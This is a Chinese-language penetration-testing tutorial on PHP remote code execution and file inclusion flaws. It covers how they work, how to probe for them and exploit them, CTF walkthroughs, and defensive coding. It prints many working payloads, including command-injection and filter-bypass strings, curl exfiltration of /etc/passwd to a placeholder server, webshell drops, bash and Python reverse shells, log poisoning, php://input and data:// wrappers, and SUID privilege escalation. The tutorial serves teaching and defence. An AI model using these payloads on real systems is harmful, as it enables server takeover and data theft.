Web安全攻防:RCE与文件包含漏洞原理、利用与防御实战
2026/6/25 23:46:53 网站建设 项目流程

1. 项目概述:从“黑盒”到“白盒”的必经之路

刚入行那会儿,听到“RCE”和“文件包含”这些词,总觉得是高手才能玩转的东西,带着一层神秘面纱。后来自己上手做项目,才发现它们其实是Web安全测试里最基础、也最致命的“敲门砖”。今天这篇笔记,就想把我这些年踩过的坑、总结的经验,掰开揉碎了讲清楚,目标就是让任何一个有点Web基础的朋友,都能看懂、能复现、能理解背后的门道。这不仅仅是两个漏洞的讲解,更是一套理解Web应用如何“被攻破”的思维模型。无论是你想入门安全测试,还是作为开发想堵上自己代码里的窟窿,这篇文章都能给你提供一套清晰的实操地图。

简单说,RCE(远程代码执行)和文件包含漏洞,是攻击者从“访问你的网站”到“控制你的服务器”之间最短、最直接的路径。前者是让服务器执行任意你想要的命令,后者则是利用服务器“读文件”的功能,去读取或执行本不该被访问的敏感文件或代码。它们经常像一对“黄金搭档”一样出现,一个负责打开缺口,一个负责扩大战果。理解它们,你就理解了Web应用安全攻防的核心逻辑之一。

2. 核心漏洞原理深度拆解:为什么代码会“不听话”?

在动手之前,我们必须把原理吃透。很多新手一上来就照着Payload(攻击载荷)猛敲,结果换一个环境就懵了。理解原理,才能举一反三,才能自己构造Payload,才能真正称之为“懂”。

2.1 RCE漏洞:当输入框变成了命令行

RCE,全称Remote Code/Command Execution。它的本质是:应用程序在处理用户输入的数据时,未经充分过滤或校验,就将其作为代码的一部分交给系统去执行

想象一下,你有一个网站功能是“Ping测试”,让用户输入一个IP地址,然后服务器后台调用系统命令ping [用户输入的IP]来测试网络连通性。代码可能长这样(以PHP为例):

<?php $ip = $_GET['ip']; system("ping -c 4 " . $ip); ?>

看起来没问题,对吧?但如果用户输入的不是8.8.8.8,而是8.8.8.8; whoami呢?拼接后的命令就变成了ping -c 4 8.8.8.8; whoami。在Linux/Unix系统中,分号;是命令分隔符。这意味着系统会先执行ping -c 4 8.8.8.8,然后执行whoami(显示当前用户)。这样,攻击者就通过一个简单的输入,让服务器执行了额外的、未授权的命令。

关键点在于“拼接”与“信任”。开发人员信任了用户的输入,并直接将其拼接进命令字符串或代码上下文中。常见的危险函数/场景包括:

  • 命令执行函数system(),exec(),shell_exec(),passthru(),popen(),以及反引号`操作符。
  • 代码执行函数eval()(直接执行字符串形式的PHP代码),assert()preg_replace()/e修饰符(已废弃但仍可能遇到)。
  • 反序列化漏洞:通过操纵序列化数据,触发类中的__destruct()__wakeup()魔术方法,间接执行代码。
  • 模板注入:在Smarty、Twig等模板引擎中,用户输入被直接当作模板语法解析。

注意eval()assert()这类函数是“代码执行”,执行的是当前脚本语言(如PHP)的代码。而system()等是“命令执行”,执行的是操作系统(如Linux bash)的命令。两者危害性都极高,但利用方式略有不同。

2.2 文件包含漏洞:借“鸡”生“蛋”的艺术

文件包含漏洞,通常出现在使用文件包含函数的场景中,如PHP的include(),require(),include_once(),require_once()。这些函数的本意是提高代码复用性,比如把头部、尾部、公共函数库做成单独文件,在需要时包含进来。

漏洞产生的根本原因是:包含文件的路径(或文件名),由用户输入可控,且程序未对其进行严格限制

假设有一段代码:

<?php $page = $_GET['page']; include('/pages/' . $page . '.php'); ?>

开发者的本意是让用户通过?page=home来访问/pages/home.php。但如果用户传入?page=../../../../etc/passwd,拼接后就是/pages/../../../../etc/passwd,经过路径回溯,最终可能成功包含系统文件/etc/passwd,导致敏感信息泄露。这就是本地文件包含(LFI, Local File Inclusion)

更危险的是远程文件包含(RFI, Remote File Inclusion)。如果php.iniallow_url_include设置为On,攻击者可以传入一个远程URL,如?page=http://evil.com/shell.txt。那么服务器会去请求这个URL,并将返回的内容当作PHP代码包含进来并执行。这样一来,攻击者可以直接在服务器上植入Webshell(一种网页形式的后门管理工具)。

LFI和RFI的界限:LFI是包含服务器本地的文件,RFI是包含远程URL的文件。RFI的危害通常远大于LFI,因为它意味着攻击者可以注入任意代码。但在实际渗透中,LFI也常常能与其它漏洞配合,例如结合日志文件、Session文件、上传文件等,实现“本地文件包含→代码执行”的链条。

3. 漏洞发现与手工探测实战

知道了原理,我们就要像猎人一样去寻找这些漏洞。自动化工具(如Burp Suite、AWVS)能帮我们扫描,但真正的高手离不开手工探测的精准和灵活。下面我以两个典型场景为例,带你走一遍手工探测的完整思路。

3.1 RCE漏洞的手工探测技巧

探测RCE,核心思路是寻找“用户输入可能影响系统命令或代码执行”的点。

第一步:功能点枚举

  • 显性功能:网站中任何涉及“执行系统功能”的地方,都是重点目标。例如:
    • 网络工具:Ping、Traceroute、DNS查询、Whois查询。
    • 文件操作:文件上传(可能调用反病毒扫描命令)、文件压缩/解压。
    • 数据查询:某些后台可能通过调用系统命令查询服务器状态。
  • 隐性参数:URL参数、Cookie、HTTP请求头(如User-Agent,X-Forwarded-For)、表单字段,都可能被后端拼接进命令。不要只盯着输入框。

第二步:注入点测试找到可疑点后,使用分层测试法,从无害到有害逐步试探,观察响应差异。

  1. 基础分隔符测试:输入127.0.0.1; echo test127.0.0.1 && echo test127.0.0.1 | echo test。观察页面是否出现“test”字样,或者命令执行时间是否有明显延迟(如果echo被过滤,可以尝试sleep 5)。
  2. 命令回显测试:如果上一步有反应,尝试获取输出。例如:127.0.0.1; whoami127.0.0.1 && id
  3. 盲注测试:如果页面没有直接回显命令结果,可能是“盲RCE”。需要通过其他方式判断命令是否执行。
    • 时间盲注:使用sleep命令。127.0.0.1; sleep 5,如果页面响应延迟了大约5秒,说明命令执行成功。
    • DNS外带盲注:利用命令触发DNS查询,将执行结果带到DNS日志中。例如:127.0.0.1; ping -c 1whoami.your-dns-log-server.com。你需要有一个可控的DNS服务器来接收查询记录。这是绕过严格出网限制的高级技巧。
    • HTTP外带盲注:利用curlwget命令将结果发送到你的服务器。127.0.0.1; curl http://your-server.com/cat /etc/passwd | base64``。

第三步:绕过过滤实战中,开发人员可能会做一些简单的过滤,比如黑名单过滤了空格、分号、反斜杠等。

  • 空格绕过:用${IFS}$IFS$9<>%09(Tab的URL编码)代替。
  • 命令分隔符绕过:分号;被过滤,可以尝试换行符%0a&&||&(后台执行)。
  • 关键字绕过:用通配符?*,或变量拼接。例如,a=who;b=ami;$a$b
  • 编码绕过:Base64编码命令。echo 'whoami' | base64得到d2hvYW1pCg==,然后执行echo d2hvYW1pCg== | base64 -d | bash

实操心得:测试时一定要在授权的靶场或自己搭建的环境中进行!真实环境中,即使发现漏洞,也应立即停止测试并报告,未经授权的测试是违法行为。时间盲注的sleep时间不宜过长,3-5秒即可,避免对目标服务造成明显影响。

3.2 文件包含漏洞的手工探测技巧

探测文件包含,关键是寻找includerequire这类函数可能被调用的参数。

第一步:寻找包含参数

  • 直观参数名filepagepathincludemoduletemplate等。
  • 模糊测试:对每个参数尝试包含一个已知存在的本地文件,如/etc/passwd(Linux)或C:\Windows\win.ini(Windows),使用../进行目录回溯。Payload示例:?file=../../../../etc/passwd
  • 关注URL路径:有时包含参数是整个路径的一部分,如/index.php?page=about可能对应/templates/about.php

第二步:判断包含类型(LFI vs RFI)

  1. 测试LFI:尝试包含系统已知文件。如果成功读取,说明存在LFI。
  2. 测试RFI:尝试包含一个远程URL。例如:?file=http://your-server.com/test.txt。如果allow_url_include开启且无过滤,服务器会尝试去获取这个URL。你可以观察你的服务器访问日志,是否有来自目标IP的请求。更直接的方式是在test.txt中写入<?php phpinfo();?>,如果包含后页面显示了phpinfo信息,则RFI存在且可直接利用。

第三步:利用LFI获取更大权限单纯的LFI读文件很有用,但我们的目标是执行代码。有几种经典技巧:

  1. 包含日志文件:Web服务器(如Apache的access.logerror.log)或SSH日志(auth.log)会记录用户请求。我们可以通过User-Agent或请求路径,将PHP代码“写入”日志文件,然后去包含这个日志文件。
    • 攻击:curl -A "<?php system($_GET['c']);?>" http://target.com/
    • 包含:?file=/var/log/apache2/access.log&c=whoami
  2. 包含Session文件:PHP的Session文件通常存储在/tmp/var/lib/php/sessions中,文件名类似sess_[你的PHPSESSID]。如果我们可以控制Session中的部分数据(比如用户名),就可以将代码写入Session文件,然后包含它。
  3. 包含/proc/self/environ:这是Linux系统中的一个特殊文件,包含了进程的环境变量。其中HTTP_USER_AGENT等可由我们控制。方法与日志包含类似。
  4. 包含上传的文件:如果网站有上传功能,且我们能猜到或找到上传文件的路径,就可以上传一个图片马(图片中包含PHP代码),然后利用LFI去包含这个图片文件。如果服务器配置不当(如未校验MIME类型或文件内容),图片中的PHP代码会被执行。

注意事项:包含日志或Session文件时,文件中会存在大量其他字符,可能造成PHP语法错误。通常需要用<?php ... ?>将代码包裹,并确保其处于新的一行,或者利用PHP的php://input流包装器(需开启allow_url_include)直接执行POST过去的代码:?file=php://input,同时POST body里写<?php system('whoami');?>

4. 从漏洞利用到权限获取:构建攻击链

发现漏洞只是开始,如何将其转化为实际的控制权,才是渗透测试的精髓。RCE和文件包含很少单独使用,它们通常是攻击链中的一环。

4.1 RCE的利用与Shell获取

获得RCE后,我们相当于有了一个在目标服务器上执行命令的“单次通行证”。我们需要将其升级为一个稳定的、交互式的“后门”——也就是Webshell或反向Shell。

1. 写入Webshell这是最直接的方式。利用echo命令或下载功能,在Web目录下写入一个PHP文件。

# 方法1:直接echo写入(适用于有写权限的目录) ; echo '<?php @eval($_POST["cmd"]);?>' > /var/www/html/shell.php # 方法2:使用wget或curl从远程下载 ; wget http://your-server.com/shell.php -O /var/www/html/shell.php # 方法3:使用Python、Perl等脚本语言写入(如果环境支持) ; python -c "open('/var/www/html/shell.py', 'w').write('import os; os.system(\"whoami\")')"

写入后,访问http://target.com/shell.php,用中国菜刀、蚁剑等工具连接,即可获得图形化操作界面。

2. 建立反向Shell(Reverse Shell)Webshell的流量是“客户端主动请求服务器”,容易被防火墙察觉。反向Shell是“让服务器主动连接我们的监听端口”,更隐蔽。

  • 在攻击机上监听端口
    nc -lvnp 4444
  • 在目标RCE处执行连接命令
    # Bash ; bash -c 'bash -i >& /dev/tcp/your-ip/4444 0>&1' # Python ; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("your-ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' # 其他语言(Perl, PHP, Ruby等)也有类似的一行命令。

执行成功后,你会在攻击机的nc终端看到目标服务器的Shell提示符。

3. 权限提升(提权)拿到Shell后,当前用户权限可能很低(如www-data)。我们需要寻找路径进行提权(Privilege Escalation)。

  • 信息收集:执行id,uname -a,sudo -l,find / -perm -4000 -type f 2>/dev/null(查找SUID文件),cat /etc/crontab(查看定时任务)。
  • 利用内核漏洞:使用uname -a查看内核版本,搜索对应的公开Exp(漏洞利用程序)。务必在授权环境测试,因为内核Exp可能导致系统崩溃。
  • 利用SUID程序:如果找到findvimbash等命令具有SUID权限,可以利用其特性提权。例如,已知的findSUID提权:find . -exec /bin/sh \; -quit
  • 利用环境变量劫持:如果sudo -l显示可以以root身份运行某些程序而不需要密码,并且该程序调用了其他命令,可能通过劫持PATH环境变量来提权。

4.2 文件包含的进阶利用手法

单纯的RFI可以直接执行代码,等同于RCE。而LFI则需要更多技巧来“转化”为代码执行。

1. PHP封装协议(PHP Wrappers)的妙用PHP内置了一些强大的流包装器,是LFI利用的神器。

  • php://filter读取源码:当无法直接执行代码时,可以用它读取PHP文件的源码,避免被解析。这在审计代码时非常有用。
    ?file=php://filter/convert.base64-encode/resource=index.php
    服务器会返回index.php文件的base64编码内容,解码后即可获得源代码。
  • php://input执行代码:需要allow_url_include=On。将POST body中的数据作为PHP代码执行。
    POST /vuln.php?file=php://input HTTP/1.1 ... <?php system('whoami');?>
  • data://文本数据流:同样需要allow_url_include=On。可以直接在URL中嵌入代码。
    ?file=data://text/plain,<?php phpinfo();?> ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==

2. 结合文件上传这是非常经典的组合拳。

  1. 找到一个文件上传点,上传一个内容为<?php system($_GET[‘c’]);?>的图片文件(如shell.jpg)。
  2. 上传成功后,通过响应或猜测,获取文件的存储路径,如/uploads/2023/10/shell.jpg
  3. 利用LFI漏洞包含这个图片文件:?file=./uploads/2023/10/shell.jpg&c=whoami
  4. 如果服务器配置了AddType application/x-httpd-php .jpg(错误配置),图片会被当作PHP解析。即使没有,在某些LFI场景下,包含文件时不检查后缀,文件内容会被当作PHP代码执行。

3. 包含临时文件PHP在处理文件上传时,会先创建一个临时文件,路径通常在/tmp/phpXXXXXX。这个文件在请求结束后会被删除,时间窗口极短。但通过条件竞争(Race Condition)攻击,可以在临时文件被删除前,利用LFI去包含并执行它。这是比较高阶的技巧,需要编写脚本进行多线程并发攻击。

5. 防御方案与安全开发实践

作为渗透测试者,我们不仅要会攻,更要懂防。了解如何修复,才能给客户提供有价值的建议,也才能写出更健壮的代码。

5.1 RCE漏洞的防御

核心原则:永远不要信任用户输入,特别是当它要参与命令或代码执行时。

  1. 避免使用危险函数:这是最根本的。如果业务逻辑非要用到systemexeceval等函数,需要极其严格的审查。
  2. 使用安全的替代函数
    • 对于命令执行,尽量使用语言内置的、参数化的API。例如在PHP中,用escapeshellarg()escapeshellcmd()对命令参数进行转义。但注意,它们并非绝对安全。
    • 更好的方式是使用不需要调用Shell的函数,如PHP的proc_open()popen()配合正确的参数传递。
  3. 白名单校验:对于Ping这类功能,用户输入应该只允许是IP地址或主机名。使用正则表达式进行严格匹配,只允许通过预定义的、安全的字符集合。
    $ip = $_GET['ip']; if (!preg_match('/^[0-9\.]+$/', $ip)) { // 简单示例,实际IP校验更复杂 die('Invalid IP address'); } system("ping -c 4 " . escapeshellarg($ip));
  4. 最小权限原则:运行Web服务的用户(如www-datanobody)应该被限制在最小必要权限内,绝不能是root。这样即使被RCE,能造成的破坏也有限。
  5. 禁用危险函数:在php.ini中,通过disable_functions配置项,禁用system,exec,shell_exec,passthru,eval,assert等函数。

5.2 文件包含漏洞的防御

核心原则:固定或严格校验被包含文件的路径。

  1. 避免动态包含:如果可能,尽量不要让用户输入直接或间接决定包含哪个文件。使用静态映射或选择结构。
    $pages = ['home' => 'home.php', 'about' => 'about.php', 'contact' => 'contact.php']; $page = $_GET['page']; if (array_key_exists($page, $pages)) { include('/templates/' . $pages[$page]); } else { include('/templates/404.php'); }
  2. 路径固定化:如果必须动态,则在拼接路径后,进行规范化并检查是否在允许的目录内。
    $base_dir = '/var/www/html/includes/'; $file = $_GET['file']; $real_path = realpath($base_dir . $file); // 解析真实路径 // 检查真实路径是否以 $base_dir 开头,防止目录穿越 if ($real_path === false || strpos($real_path, $base_dir) !== 0) { die('Invalid file path.'); } include($real_path);
  3. 关闭危险配置:在php.ini中,确保allow_url_fopenallow_url_include设置为Off。这是防止RFI的最有效手段。
  4. 文件后缀限制:强制为包含的文件添加后缀,如.php,并在包含前检查文件是否存在且后缀正确。但这不能完全防御LFI。
  5. 使用安全的文件访问方式:考虑使用文件读取函数(如file_get_contents())代替包含函数,如果只是为了读取文件内容而非执行代码。

6. 实战案例复盘与排查技巧

理论说再多,不如看两个实战例子。这里我复盘两个经典的CTF题目场景,它们很好地体现了RCE和文件包含漏洞的利用思路。

6.1 案例一:[极客大挑战 2019]RCE Me

这道题是一个经典的、需要代码审计的RCE题目。通常你会拿到一段PHP源码,核心代码可能如下:

<?php error_reporting(0); if(isset($_GET['code'])){ $code=$_GET['code']; if(strlen($code)>40){ die("This is too Long."); } if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO."); } @eval($code); } else{ highlight_file(__FILE__); } ?>

漏洞点分析:代码获取code参数,直接传给eval()执行,这是明显的代码执行漏洞。但有两个限制:1. 长度不超过40字符;2. 不能出现数字和字母。

绕过思路:这就是典型的“无字母数字RCE”挑战。我们需要构造一个不含字母数字,但能执行命令的字符串。

  • 利用PHP的字符串操作:在PHP中,可以通过异或(^)、取反(~)等操作,用非字母数字的字符构造出我们想要的函数名字符串。
  • 利用自增运算符'a'++会变成'b'。我们可以从一个非字母的变量开始,通过自增得到字母。
  • 利用PHP的弱类型和特殊变量:例如$_(超全局数组)在某些情况下可以获取到字符。

一个常见的Payload构造方法是使用取反。例如,~运算符会对字符串进行按位取反。我们可以先计算出所需命令的取反后的字符串,然后再次取反得到原命令。

// 例如,我们想构造 `phpinfo();` // `phpinfo` 的取反是 `%8F%97%8F%96%91%99%90` (URL编码后) $payload = (~%8F%97%8F%96%91%99%90)(); // 这在实际传递时需要处理编码

在实际解题中,通常会写一个小脚本,生成这样的Payload。最终,通过精心构造一个不超过40字符且无字母数字的字符串,调用eval执行system('cat /flag')之类的命令。

排查与防御:对于此类题目,防御就是避免使用eval()。如果必须用,除了长度和字符黑名单,几乎无法做到绝对安全。因此,在真实环境中,eval()应被彻底禁止。

6.2 案例二:利用PHP封装协议与文件包含读取Flag

假设一个场景:题目存在LFI,但无法直接执行代码。目标是要读取服务器上一个名为flag.php的源代码,而该文件直接访问会显示空白(因为可能只定义了变量,没有输出)。

利用过程

  1. 发现包含点:?file=welcome.php
  2. 尝试读取flag.php源码:直接包含?file=flag.php会执行它,但看不到源码。使用php://filter读取器。
  3. Payload:?file=php://filter/convert.base64-encode/resource=flag.php
  4. 服务器返回一串Base64编码的字符串。
  5. 解码后,得到flag.php的源代码,其中包含了Flag信息。

为什么能成功php://filter是一个“过滤器”,它可以在数据流被include函数“执行”之前,先对数据进行处理(这里是用base64编码)。include函数拿到了base64编码后的文本,它试图将其作为PHP代码执行,但base64编码的文本不是有效的PHP代码,所以不会被执行,而是会以“文本”形式出现在错误信息或直接输出中(取决于配置)。这样我们就绕过了“执行”,实现了“读取”。

排查与防御:防御此类攻击,除了前面提到的路径校验和白名单,还应考虑过滤或禁用危险的协议。可以在PHP配置或代码层面,对包含的路径进行协议黑名单过滤,但更推荐使用白名单方式,只允许包含特定的、已知安全的本地文件。

7. 工具辅助与自动化思维

手工探测是基础,但效率有限。在实际工作中,我们一定会借助工具。

  • Burp Suite:渗透测试的瑞士军刀。它的Repeater模块用于手动修改和重放请求,Intruder模块用于对参数进行模糊测试(Fuzzing),可以快速测试大量Payload。Scanner模块也能自动检测一些常见的RCE和文件包含漏洞。
  • SQLMap:虽然主打SQL注入,但其--os-shell参数在特定条件下能利用SQL注入漏洞获取RCE,其--file-read参数可以读取服务器文件,有时能辅助LFI利用。
  • 定制化脚本:面对复杂的过滤规则,往往需要自己编写Python脚本,自动化地生成和测试Payload。例如,针对“无字母数字RCE”的题目,编写脚本自动生成取反或异或的Payload。
  • 反连平台(Reverse Shell Platform):如ngrokfrp等内网穿透工具,或者自己用云服务器搭建一个带有公网IP的监听服务,用于接收反向Shell连接,这在实战中非常必要。

工具是手臂的延伸,思维才是大脑的核心。自动化不是无脑扫描,而是将你的手工探测思路(如分层测试、绕过技巧)固化到工具或脚本中,实现批量化、精准化的测试。例如,你可以整理一个针对命令分隔符、空格绕过的Payload字典,用Intruder去跑;也可以写一个脚本,自动尝试包含/proc/self/environ、各种日志路径等常见LFI利用点。

最后,我想说的是,Web渗透测试是一个需要不断学习、实践和思考的领域。RCE和文件包含只是众多漏洞类型中的两种,但它们的原理——“用户输入被过度信任并用于敏感操作”——是许多其他漏洞(如SQL注入、XSS、SSRF)的共通本质。吃透这两个漏洞,建立起“输入-处理-输出”的安全审计思维,你会发现自己看代码、测功能的角度都会发生质的变化。真正的安全不是堆砌防御规则,而是理解攻击者的思维,并在代码的每一处细节中,消除那些可能被利用的“不信任”。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询